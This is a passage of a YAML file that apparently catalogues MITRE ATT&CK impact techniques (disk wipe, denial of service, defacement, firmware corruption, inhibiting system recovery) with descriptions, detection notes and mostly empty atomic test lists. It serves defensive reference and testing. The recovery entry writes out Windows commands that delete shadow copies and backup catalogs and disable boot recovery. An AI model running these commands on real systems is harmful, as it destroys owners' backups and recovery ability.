        cleanup_command: 'del %USERPROFILE%\Desktop\YOUR_FILES.txt >nul 2>&1

'
  T1565:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1565
        url: https://attack.mitre.org/techniques/T1565
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Data Manipulation
      description: |-
        Adversaries may insert, delete, or manipulate data in order to manipulate external outcomes or hide activity. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.

        The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
      id: attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      modified: '2021-04-24T14:04:16.371Z'
      created: '2020-03-02T14:19:22.609Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_permissions_required:
      - User
      - Administrator
      - root
      - SYSTEM
      x_mitre_impact_type:
      - Integrity
      x_mitre_detection: Where applicable, inspect important file hashes, locations,
        and modifications for suspicious/unexpected values. With some critical processes
        involving transmission of data, manual or out-of-band integrity checking may
        be useful for identifying manipulated data.
      x_mitre_data_sources:
      - 'File: File Metadata'
      - 'Process: OS API Execution'
      - 'File: File Creation'
      - 'File: File Deletion'
      - 'File: File Modification'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1491:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1491
        url: https://attack.mitre.org/techniques/T1491
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Defacement
      description: "Adversaries may modify visual content available internally or
        externally to an enterprise network. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491)
        include delivering messaging, intimidation, or claiming (possibly false) credit
        for an intrusion. Disturbing or offensive images may be used as a part of
        [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause
        user discomfort, or to pressure compliance with accompanying messages. \n"
      id: attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      modified: '2021-03-08T10:33:01.150Z'
      created: '2019-04-08T17:51:41.390Z'
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.2'
      x_mitre_platforms:
      - Windows
      - IaaS
      - Linux
      - macOS
      x_mitre_impact_type:
      - Integrity
      x_mitre_detection: "Monitor internal and external websites for unplanned content
        changes. Monitor application logs for abnormal behavior that may indicate
        attempted or successful exploitation. Use deep packet inspection to look for
        artifacts of common exploit traffic, such as SQL injection. Web Application
        Firewalls may detect improper inputs attempting exploitation.\n\n"
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'File: File Creation'
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Content'
    atomic_tests: []
  T1498.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1498.001
        url: https://attack.mitre.org/techniques/T1498/001
      - external_id: CAPEC-125
        source_name: capec
        url: https://capec.mitre.org/data/definitions/125.html
      - external_id: CAPEC-486
        source_name: capec
        url: https://capec.mitre.org/data/definitions/486.html
      - source_name: USNYAG IranianBotnet March 2016
        url: https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged
        description: Preet Bharara, US Attorney. (2016, March 24). Retrieved April
          23, 2019.
      - source_name: Cisco DoSdetectNetflow
        url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
        description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow.
          Retrieved April 25, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Direct Network Flood
      description: |-
        Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001) are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.

        Botnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)
      id: attack-pattern--0bda01d5-4c1d-4062-8ee2-6872334383c3
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      modified: '2021-03-29T16:11:56.727Z'
      created: '2020-03-02T20:07:18.651Z'
      x_mitre_data_sources:
      - 'Sensor Health: Host Status'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_detection: 'Detection of a network flood can sometimes be achieved before
        the traffic volume is sufficient to cause impact to the availability of the
        service, but such response time typically requires very aggressive monitoring
        and responsiveness or services provided by an upstream network service provider.
        Typical network throughput monitoring tools such as netflow(Citation: Cisco
        DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases
        in network or service utilization. Real-time, automated, and qualitative study
        of the network traffic can identify a sudden surge in one type of protocol
        can be used to detect a network flood event as it starts. Often, the lead
        time may be small and the indicator of an event availability of the network
        or service drops. The analysis tools mentioned can then be used to determine
        the type of DoS causing the outage and help with remediation.'
      x_mitre_version: '1.2'
      x_mitre_is_subtechnique: true
      x_mitre_impact_type:
      - Availability
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
    atomic_tests: []
  T1561.001:
    technique:
      created: '2020-02-20T22:06:41.739Z'
      modified: '2020-03-28T22:53:20.162Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      type: attack-pattern
      id: attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac
      description: |-
        Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.

        Adversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files.

        To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)
      name: Disk Content Wipe
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1561.001
        url: https://attack.mitre.org/techniques/T1561/001
      - source_name: Novetta Blockbuster
        description: 'Novetta Threat Research Group. (2016, February 24). Operation
          Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February
          25, 2016.'
        url: https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf
      - source_name: Novetta Blockbuster Destructive Malware
        description: 'Novetta Threat Research Group. (2016, February 24). Operation
          Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.'
        url: https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf
      - source_name: DOJ Lazarus Sony 2018
        url: https://www.justice.gov/opa/press-release/file/1092091/download
        description: Department of Justice. (2018, September 6). Criminal Complaint
          - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.
      - url: https://docs.microsoft.com/sysinternals/downloads/sysmon
        description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved
          December 13, 2017.
        source_name: Microsoft Sysmon v6 May 2017
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Driver: Driver Load'
      - 'Drive: Drive Access'
      - 'Drive: Drive Modification'
      x_mitre_detection: 'Look for attempts to read/write to sensitive locations like
        the partition boot sector or BIOS parameter block/superblock. Monitor for
        direct access read/write attempts using the <code>\\\\.\\</code> notation.(Citation:
        Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation
        activity.'
      x_mitre_impact_type:
      - Availability
      x_mitre_permissions_required:
      - SYSTEM
      - root
      - Administrator
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
    atomic_tests: []
  T1561.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1561.002
        url: https://attack.mitre.org/techniques/T1561/002
      - source_name: Symantec Shamoon 2012
        url: https://www.symantec.com/connect/blogs/shamoon-attacks
        description: Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March
          14, 2019.
      - url: https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html
        description: FireEye. (2016, November 30). FireEye Responds to Wave of Destructive
          Cyber Attacks in Gulf Region. Retrieved January 11, 2017.
        source_name: FireEye Shamoon Nov 2016
      - url: http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/
        description: 'Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack
          Wiper. Retrieved January 11, 2017.'
        source_name: Palo Alto Shamoon Nov 2016
      - source_name: Kaspersky StoneDrill 2017
        url: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf
        description: 'Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill:
          Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.'
      - source_name: Unit 42 Shamoon3 2018
        url: https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/
        description: Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas
          Organization. Retrieved March 14, 2019.
      - url: https://docs.microsoft.com/sysinternals/downloads/sysmon
        description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved
          December 13, 2017.
        source_name: Microsoft Sysmon v6 May 2017
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Disk Structure Wipe
      description: "Adversaries may corrupt or wipe the disk data structures on a
        hard drive necessary to boot a system; targeting specific critical systems
        or in large numbers in a network to interrupt availability to system and network
        resources. \n\nAdversaries may attempt to render the system unable to boot
        by overwriting critical data located in structures such as the master boot
        record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation:
        FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation:
        Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained
        in disk structures may include the initial executable code for loading an
        operating system or the location of the file system partitions on disk. If
        this information is not present, the computer will not be able to load an
        operating system during the boot process, leaving the computer unavailable.
        [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be
        performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001)
        if all sectors of a disk are wiped.\n\nTo maximize impact on the target organization,
        malware designed for destroying disk structures may have worm-like features
        to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078),
        [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows
        Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec
        Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon
        Nov 2016)(Citation: Kaspersky StoneDrill 2017)"
      id: attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      modified: '2020-03-28T23:00:00.367Z'
      created: '2020-02-20T22:10:20.484Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      - Administrator
      - root
      - SYSTEM
      x_mitre_impact_type:
      - Availability
      x_mitre_detection: 'Look for attempts to read/write to sensitive locations like
        the master boot record and the disk partition table. Monitor for direct access
        read/write attempts using the <code>\\\\.\\</code> notation.(Citation: Microsoft
        Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Driver: Driver Load'
      - 'Drive: Drive Access'
      - 'Drive: Drive Modification'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1561:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1561
        url: https://attack.mitre.org/techniques/T1561
      - source_name: Novetta Blockbuster Destructive Malware
        description: 'Novetta Threat Research Group. (2016, February 24). Operation
          Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.'
        url: https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf
      - url: https://docs.microsoft.com/sysinternals/downloads/sysmon
        description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved
          December 13, 2017.
        source_name: Microsoft Sysmon v6 May 2017
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Disk Wipe
      description: |-
        Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.

        To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)
      id: attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      modified: '2020-03-28T23:00:00.599Z'
      created: '2020-02-20T22:02:20.372Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_permissions_required:
      - User
      - root
      - SYSTEM
      - Administrator
      x_mitre_impact_type:
      - Availability
      x_mitre_detection: 'Look for attempts to read/write to sensitive locations like
        the partition boot sector, master boot record, disk partition table, or BIOS
        parameter block/superblock. Monitor for direct access read/write attempts
        using the <code>\\\\.\\</code> notation.(Citation: Microsoft Sysmon v6 May
        2017) Monitor for unusual kernel driver installation activity.'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Driver: Driver Load'
      - 'Drive: Drive Access'
      - 'Drive: Drive Modification'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1499:
    technique:
      id: attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4
      description: |
        Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)

        An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).

        To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.

        Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.

        Botnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)

        In cases where traffic manipulation is used, there may be points in the the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)

        For attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498).
      name: Endpoint Denial of Service
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1499
        url: https://attack.mitre.org/techniques/T1499
      - external_id: CAPEC-227
        source_name: capec
        url: https://capec.mitre.org/data/definitions/227.html
      - external_id: CAPEC-131
        source_name: capec
        url: https://capec.mitre.org/data/definitions/131.html
      - external_id: CAPEC-130
        source_name: capec
        url: https://capec.mitre.org/data/definitions/130.html
      - external_id: CAPEC-125
        source_name: capec
        url: https://capec.mitre.org/data/definitions/125.html
      - source_name: FireEye OpPoisonedHandover February 2016
        url: https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html
        description: 'Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November
          3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in
          Hong Kong’s Pro-Democracy Movement. Retrieved April 18, 2019.'
      - source_name: FSISAC FraudNetDoS September 2012
        url: https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf
        description: FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals
          Targeting Financial Institution Employee Credentials to Conduct Wire Transfer
          Fraud. Retrieved April 18, 2019.
      - source_name: Symantec DDoS October 2014
        url: https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf
        description: Wueest, C.. (2014, October 21). The continued rise of DDoS attacks.
          Retrieved April 24, 2019.
      - source_name: USNYAG IranianBotnet March 2016
        url: https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged
        description: Preet Bharara, US Attorney. (2016, March 24). Retrieved April
          23, 2019.
      - source_name: ArsTechnica Great Firewall of China
        url: https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/
        description: Goodin, D.. (2015, March 31). Massive denial-of-service attack
          on GitHub tied to Chinese government. Retrieved April 19, 2019.
      - source_name: Cisco DoSdetectNetflow
        url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
        description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow.
          Retrieved April 25, 2019.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      modified: '2021-04-14T12:05:31.985Z'
      created: '2019-04-18T11:00:55.862Z'
      x_mitre_contributors:
      - Alfredo Oliveira, Trend Micro
      - David Fiser, @anu4is, Trend Micro
      - Magno Logan, @magnologan, Trend Micro
      - Vishwas Manral, McAfee
      - Yossi Weizman, Azure Defender Research Team
      x_mitre_is_subtechnique: false
      x_mitre_detection: |-
        Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.

        In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.

        Externally monitor the availability of services that may be targeted by an Endpoint DoS.
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - Containers
      x_mitre_impact_type:
      - Availability
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Sensor Health: Host Status'
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
    atomic_tests: []
  T1491.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1491.002
        url: https://attack.mitre.org/techniques/T1491/002
      - source_name: FireEye Cyber Threats to Media Industries
        url: https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf
        description: FireEye. (n.d.). Retrieved April 19, 2019.
      - source_name: Kevin Mandia Statement to US Senate Committee on Intelligence
        url: https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf
        description: Kevin Mandia. (2017, March 30). Prepared Statement of Kevin Mandia,
          CEO of FireEye, Inc. before the United States Senate Select Committee on
          Intelligence. Retrieved April 19, 2019.
      - source_name: Anonymous Hackers Deface Russian Govt Site
        url: https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/
        description: Andy. (2018, May 12). ‘Anonymous’ Hackers Deface Russian Govt.
          Site to Protest Web-Blocking (NSFW). Retrieved April 19, 2019.
      - source_name: Trend Micro Deep Dive Into Defacement
        url: https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf
        description: 'Marco Balduzzi, Ryan Flores, Lion Gu, Federico Maggi, Vincenzo
          Ciancaglini, Roel Reyes, Akira Urano. (n.d.). A Deep Dive into Defacement:
          How Geopolitical Events Trigger Web Attacks. Retrieved April 19, 2019.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: External Defacement
      description: 'An adversary may deface systems external to an organization in
        an attempt to deliver messaging, intimidate, or otherwise mislead an organization
        or users. Externally-facing websites are a common victim of defacement; often
        targeted by adversary and hacktivist groups in order to push a political message
        or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation:
        Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous
        Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002)
        may be used as a catalyst to trigger events, or as a response to actions taken
        by an organization or government. Similarly, website defacement may also be
        used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation:
        Trend Micro Deep Dive Into Defacement)'
      id: attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      modified: '2021-03-08T10:33:01.745Z'
      created: '2020-02-20T14:34:08.496Z'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_impact_type:
      - Integrity
      x_mitre_detection: Monitor external websites for unplanned content changes.
        Monitor application logs for abnormal behavior that may indicate attempted
        or successful exploitation. Use deep packet inspection to look for artifacts
        of common exploit traffic, such as SQL injection. Web Application Firewalls
        may detect improper inputs attempting exploitation.
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'File: File Creation'
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_platforms:
      - Windows
      - IaaS
      - Linux
      - macOS
    atomic_tests: []
  T1495:
    technique:
      id: attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89
      description: 'Adversaries may overwrite or corrupt the flash memory contents
        of system BIOS or other firmware in devices attached to a system in order
        to render them inoperable or unable to boot.(Citation: Symantec Chernobyl
        W95.CIH) Firmware is software that is loaded and executed from non-volatile
        memory on hardware devices in order to initialize and manage device functionality.
        These devices could include the motherboard, hard drive, or video cards.'
      name: Firmware Corruption
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - external_id: T1495
        source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1495
      - source_name: Symantec Chernobyl W95.CIH
        url: https://www.symantec.com/security-center/writeup/2000-122010-2655-99
        description: Yamamura, M. (2002, April 25). W95.CIH. Retrieved April 12, 2019.
      - url: http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research
        description: Upham, K. (2014, March). Going Deep into the BIOS with MITRE
          Firmware Security Research. Retrieved January 5, 2016.
        source_name: MITRE Trustworthy Firmware Measurement
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      modified: '2020-07-14T19:31:46.550Z'
      created: '2019-04-12T18:28:15.451Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_permissions_required:
      - Administrator
      - root
      - SYSTEM
      x_mitre_impact_type:
      - Availability
      x_mitre_version: '1.0'
      x_mitre_detection: 'System firmware manipulation may be detected.(Citation:
        MITRE Trustworthy Firmware Measurement) Log attempts to read/write to BIOS
        and compare against known patching behavior.'
      x_mitre_data_sources:
      - 'Firmware: Firmware Modification'
    atomic_tests: []
  T1490:
    technique:
      id: attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a
      description: |-
        Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017)

        A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:

        * <code>vssadmin.exe</code> can be used to delete all volume shadow copies on a system - <code>vssadmin.exe delete shadows /all /quiet</code>
        * [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - <code>wmic shadowcopy delete</code>
        * <code>wbadmin.exe</code> can be used to delete the Windows Backup Catalog - <code>wbadmin.exe delete catalog -quiet</code>
        * <code>bcdedit.exe</code> can be used to disable automatic Windows recovery features by modifying boot configuration data - <code>bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no</code>
      name: Inhibit System Recovery
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - external_id: T1490
        source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1490
      - source_name: Talos Olympic Destroyer 2018
        url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
        description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer
          Takes Aim At Winter Olympics. Retrieved March 14, 2019.
      - source_name: FireEye WannaCry 2017
        url: https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html
        description: Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry
          Malware Profile. Retrieved March 15, 2019.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      modified: '2020-07-14T19:33:52.512Z'
      created: '2019-04-02T13:54:43.136Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      x_mitre_permissions_required:
      - Administrator
      - root
      - SYSTEM
      - User
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Service: Service Metadata'
